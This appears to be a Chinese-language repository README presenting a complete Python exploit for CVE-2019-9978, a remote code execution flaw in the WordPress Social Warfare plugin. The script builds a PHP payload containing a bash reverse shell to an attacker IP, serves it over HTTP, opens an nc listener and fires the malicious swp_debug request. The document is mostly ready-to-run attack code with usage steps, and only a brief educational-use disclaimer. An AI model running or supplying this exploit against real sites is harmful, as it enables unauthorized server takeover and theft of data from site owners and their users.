`admin-post.php` 中的 `swp_debug` 参数允许远程攻击者包含包含恶意 PHP 代码的外部文件,这些代码在服务器上执行。通过提供托管反向 shell 载荷的精心构造的 URL,攻击者可以获得命令执行权限。
本仓库包含一个针对 CVE-2019-9978 的有效 Python 利用脚本,该漏洞是 WordPress 的 Social Warfare 插件(版本 <= 3.5.2)中的远程代码执行漏洞。
admin-post.php 中的 swp_debug 参数允许远程攻击者包含包含恶意 PHP 代码的外部文件,这些代码会在服务器上被求值。通过提供一个托管反向 shell 载荷的精心构造的 URL,攻击者可以获得命令执行权限。
swp_url 参数以触发远程代码执行。example.com 映射到目标 IP)#!/usr/bin/env python3
import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time
# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "192.168.26.130" # 改为你的攻击机 IP
HTTP_PORT = 8000
LISTEN_PORT = 4447
PAYLOAD_FILE = "payload.txt"
def create_payload():
"""使用有效的 PHP 语法写入精确的反向 shell 载荷"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] 载荷已写入 {PAYLOAD_FILE}")
def start_http_server():
"""通过 HTTP 提供载荷"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP 服务器运行在端口 {HTTP_PORT}")
httpd.serve_forever()
def start_listener():
"""启动 Netcat 监听器"""
print(f"[+] 正在端口 {LISTEN_PORT} 监听反向 shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])
def send_exploit():
"""通过易受攻击的参数触发利用"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] 发送利用请求: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass
def main():
create_payload()
# 在后台启动 web 服务器
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # 给服务器启动时间
# 在后台启动监听器
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)
# 发送恶意请求
send_exploit()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] 用户中断。")
ATTACKER_IP 和 LISTEN_PORT 改为你机器的 IP 和所需端口。example.com 解析到正确的 IP。python3 exploit.py
本利用脚本仅供教育目的使用。未经明确许可,请勿在任何非你拥有的系统上使用它。